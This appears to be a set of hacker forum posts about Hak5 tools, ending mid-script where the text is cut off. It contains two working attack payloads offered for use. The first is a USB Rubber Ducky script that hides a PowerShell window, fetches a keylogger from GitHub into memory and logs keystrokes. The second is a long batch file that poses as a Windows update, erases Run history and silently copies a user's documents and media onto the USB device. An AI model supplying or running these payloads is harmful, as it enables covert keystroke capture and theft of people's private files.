Search the Community

Hello friends! Today I am going to show you a very simple 11 line USB Rubber Ducky Keylogger hack using powershell! Super simple. What this does is it starts a powershell as a hidden window, so the actual application will not be visible on the taskbar. Only through the Task Manager. Then it downloads a simple script from github into memory, then executes the keylogger command. The second to last line, after "-LogPath" input the location you want it to place the keylog file. And the "-Timeout" command is how many minutes you want to command to run. Here is the code: DELAY 500 GUI r DELAY 50 STRING powershell -WindowStyle hidden ENTER DELAY 100 STRING IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1') ENTER DELAY 300 STRING Get-Keystrokes -LogPath C:\Users\Garrett\Desktop\testing123.txt -Timeout 1 ENTER Of course, go to the www.ducktoolkit.com and encode it. Comment any suggestions / thoughts! I will be posting more scripts as I go. Also, I am working on a script to email the keylog file to your email. Will upload once I get that working. Hope you enjoy!

I am quite new to the world of hacking, and recently I have invested in the lan-turtle, and I was wondering what everyone's suggestions were on what Hak5 tool I should invest in next? '

I'm selling my collection to fund a camera lens. To be frank, I simply do not have the time to play with these anymore. WiFi Pineapple Nano WiFi Pineapple IV Bash Bunny USB Rubber Ducky Throwing Star LAN Tap Kit Tactical Bag Selection of Antennas Cable Bag + connectorsComplete Kit Aluminium Carry Case Pineapple Juice Battery Pack ALFA usb network card J Link usb Network Card 8gb micro sd card I am based in the UK. I'm looking for sensible offers. I'm affraid this is sold as a bundle so will not be splitting it. £350 + shipping

Hello everyone, my name is Luca I am new to the forum, I am writing for the first time to ask for help, I am not an expert in programming language and I would like to simplify the palyloads that I modified starting from that of hak5. I followed the instructions below, and everything works correctly: https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained - I used ducky-flasher, I chose the original "Twin Duck" firmware. - Inside the micro sd I created the folder "slurp", the files "d.cmd e.cmd i.vbs", and the file "inject.bin" reported in the guide. Ok, everything works fine, if there is a .pdf file inside the Documents folder it will be copied inside the USB Rubber Duck. My goal is to save all the files in the users folder and its subfolders inside the USB Rubber Duck; Target all windows (for now only tested on windows 10) The extension of the chosen files are: Documents .csv .doc .docx .odt .ods .odg .odp .pdf .pps .txt .tex .ltx .rtf .xls .xlsx Image .gif .jpg .jpeg .JPEG .png .tiff .psd .webp Audio .mp3 .m4a .ogg .wav .wma Video .3gp .avi .divx .mp4 .mpeg .ogm .wmv .mov .vob .webm .xvid I tried to edit the file "e.cmd" to be able to save all the files of all user folders, I followed the example found here: https://forums.hak5.org/topic/42260-need-help-with-passwordgrabber/?page=2 If I enter this command it does not work: if Exist %USERPROFILE%\* (xcopy /C /Q /G /Y /S %USERPROFILE%\*\*.pdf %dst% >>nul) If instead I use this command everything works correctly, but only one folder at a time (in this case documents) and only one extension at a time (in this case .pdf): if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.pdf %dst% >>nul) I made many attempts (in my ignorance) at the end "I gave birth" this script that I report below. Unfortunately I can not write in a single command. I used multiple commands to copy the folders: "Documents, Desktop, Downloads, Favorites, Pictures, Videos, OneDrive, Music, Searches" of the user using windoes 10). My question is: Is there a command to simplify all this? Thank you for your time @echo off @echo Installing Windows Update REM Delete registry keys storing Run dialog history REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f REM Creates directory compromised of computer name, date and time REM %~d0 = path to this batch file. %COMPUTERNAME%, %date% and %time% pretty obvious set dst=%~d0\slurp\%COMPUTERNAME%_%date:~-4,4%%date:~-10,2%%date:~7,2%_%time:~-11,2%%time:~-8,2%%time:~-5,2% mkdir %dst% >>nul if Exist %USERPROFILE%\Documents ( REM /C Continues copying even if errors occur. REM /Q Does not display file names while copying. REM /G Allows the copying of encrypted files to destination that does not support encryption. REM /Y Suppresses prompting to confirm you want to overwrite an existing destination file. REM /E Copies directories and subdirectories, including empty ones. REM xcopy /C /Q /G /Y /E %USERPROFILE%\Documents\*.pdf %dst% >>nul REM Same as above but does not create empty directories xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.pdf %dst% >>nul ) REM Document extensions if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.csv %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.doc %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.docx %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.odt %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.ods %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.odg %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.odp %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.pps %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.txt %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.tex %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.ltx %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.rtf %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.xls %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.gif %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.jpg %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.png %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.tiff %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.psd %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.m4a %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.ogg %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.wav %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.3gp %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.avi %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.divx %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.ogm %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.wmv %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.mov %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.vob %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.webm %dst% >>nul) if Exist %USERPROFILE%\Documents (xcopy /C /Q /G /Y /S %USERPROFILE%\Documents\*.xvid %dst% >>nul) REM Folder to copy Desktop REM Document extensions if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.csv %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.doc %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.docx %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.odt %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.ods %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.odg %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.odp %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.pdf %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.pps %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.txt %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.tex %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.ltx %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.rtf %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.xls %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.gif %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.jpg %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.png %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.tiff %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.psd %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.m4a %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.ogg %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.wav %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.3gp %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.avi %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.divx %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.ogm %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.wmv %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.mov %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.vob %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.webm %dst% >>nul) if Exist %USERPROFILE%\Desktop (xcopy /C /Q /G /Y /S %USERPROFILE%\Desktop\*.xvid %dst% >>nul) REM Folder to copy Downloads REM Document extensions if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.csv %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.doc %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.docx %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.odt %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.ods %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.odg %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.odp %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.pdf %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.pps %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.txt %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.tex %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.ltx %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.rtf %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.xls %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.gif %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.jpg %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.png %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.tiff %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.psd %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.m4a %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.ogg %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.wav %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.3gp %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.avi %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.divx %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.ogm %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.wmv %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.mov %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.vob %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.webm %dst% >>nul) if Exist %USERPROFILE%\Downloads (xcopy /C /Q /G /Y /S %USERPROFILE%\Downloads\*.xvid %dst% >>nul) REM Folder to copy Favorites REM Document extensions if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.csv %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.doc %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.docx %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.odt %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.ods %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.odg %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.odp %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.pdf %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.pps %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.txt %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.tex %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.ltx %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.rtf %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.xls %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.gif %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.jpg %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.png %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.tiff %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.psd %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.m4a %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.ogg %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.wav %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.3gp %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.avi %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.divx %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.ogm %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.wmv %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.mov %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.vob %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.webm %dst% >>nul) if Exist %USERPROFILE%\Favorites (xcopy /C /Q /G /Y /S %USERPROFILE%\Favorites\*.xvid %dst% >>nul) REM Folder to copy Pictures REM Document extensions if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.csv %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.doc %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.docx %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.odt %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.ods %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.odg %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.odp %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.pdf %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.pps %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.txt %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.tex %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.ltx %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.rtf %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.xls %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.xlsx %dst% >>nul) REM Image extensions if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.gif %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.jpg %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.jpeg %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.JPEG %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.png %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.tiff %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.psd %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.webp %dst% >>nul) REM audio extensions if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.mp3 %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.m4a %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.ogg %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.wav %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.wma %dst% >>nul) REM video extensions if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.3gp %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.avi %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.divx %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.mp4 %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.mpeg %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.ogm %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.wmv %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.mov %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.vob %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.webm %dst% >>nul) if Exist %USERPROFILE%\Pictures (xcopy /C /Q /G /Y /S %USERPROFILE%\Pictures\*.xvid %dst% >>nul) REM Folder to copy Videos REM Document extensions if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.csv %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.doc %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.docx %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.odt %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.ods %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.odg %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S %USERPROFILE%\Videos\*.odp %dst% >>nul) if Exist %USERPROFILE%\Videos (xcopy /C /Q /G /Y /S 